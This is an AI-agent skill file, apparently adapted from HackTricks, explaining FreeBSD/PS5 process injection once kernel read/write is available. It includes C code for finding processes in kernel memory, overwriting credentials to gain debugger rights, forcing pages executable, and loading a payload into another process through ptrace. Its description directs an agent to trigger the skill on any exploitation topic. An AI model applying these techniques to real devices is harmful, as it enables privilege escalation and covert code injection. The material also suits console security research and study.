skills/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5/SKILL.md
Guide for FreeBSD/PS5 usermode process injection using ptrace RFI and vm_map PROT_EXEC bypass. Use this skill whenever the user mentions FreeBSD exploitation, PS5 payload injection, ptrace-based RFI, vm_map protection bypass, kernel R/W primitives, process injection, ELF injection, or any scenario involving usermode code execution on FreeBSD-based systems. This skill covers the complete workflow from kernel primitive usage to payload delivery.
npx skillsauth add abelrguezr/hacktricks-skills freebsd-ptrace-rfi-injectionInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
A practical guide for usermode process injection on FreeBSD-based systems (including PS5) when you have kernel read/write primitives.
This skill helps you:
Required:
Assumptions:
FreeBSD maintains a doubly-linked list of processes in kernel .data at allproc. Use your kernel read primitive to iterate it:
struct proc* find_proc_by_name(const char* proc_name) {
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do {
kernel_copyout(next, (void*)proc, sizeof(struct proc));
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
return NULL;
}
Key points:
KERNEL_ADDRESS_ALLPROC is firmware-dependentp_comm is a fixed-size process name fieldOn PS5, struct ucred includes an Authority ID field. Writing the debugger Authority ID grants ptrace/mdbg over other processes:
void set_ucred_to_debugger() {
struct proc* proc = get_proc_by_pid(getpid());
if (proc) {
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
Important:
0x58 is PS5 firmware-specific; verify per versionUserland mmap may be constrained to PROT_READ|PROT_WRITE. FreeBSD tracks address space in vm_map entries. Modify kernel-owned metadata to add execute permission:
struct vm_map_entry {
struct vm_map_entry *prev, *next, *left, *right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object;
vm_ooffset_t offset;
vm_eflags_t eflags;
vm_prot_t protection; // <-- Modify this
vm_prot_t max_protection; // <-- And this if needed
vm_inherit_t inheritance;
int wired_count;
vm_pindex_t lastr;
};
Implementation approach:
vm_map structurenext or BST via left/right for O(log n))entry->protection |= PROT_EXECentry->max_protection |= PROT_EXECThis bypasses userland mmap policy by editing kernel metadata directly.
FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Instead, drive the target to call functions on itself under ptrace control:
RFI Sequence:
PTRACE_ATTACH or PS5-specific mdbg)Example - Calling ELF loader:
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
The loader maps segments, resolves imports, applies relocations, and returns:
payload_args pointer for your stagerCreate a minimal stager that spawns a pthread for your payload, then triggers a breakpoint for clean detach:
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions) {
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
Key points:
SCEFunctions/payload_args provided by loader/SDK glueA working implementation typically includes:
Injector Server (NineS example):
Client Script:
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
Hello-world payload:
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main() {
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
allproc addressucred authority offsetvm_map layoutAlways verify offsets per firmware version.
.text) prevents reading/writing kernel codeSome processes expose PS5 JIT APIs to allocate executable pages. The vm_map protection flip removes the need to rely on JIT/mirroring tricks.
| Tool | Purpose | Repository | |------|---------|------------| | PS5 SDK | Dynamic linking, kernel R/W wrappers, vm_map helpers | https://github.com/ps5-payload-dev/sdk | | elfldr | ELF loader for injection | https://github.com/ps5-payload-dev/elfldr | | NineS | Injector server | https://github.com/buzzer-re/NineS/ | | playstation_research_utils | Utilities/vm_map helpers | https://github.com/buzzer-re/playstation_research_utils | | Mira | Related project | https://github.com/OpenOrbis/mira-project | | gdbsrv | GDB server | https://github.com/ps5-payload-dev/gdbsrv |
Use this skill when:
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.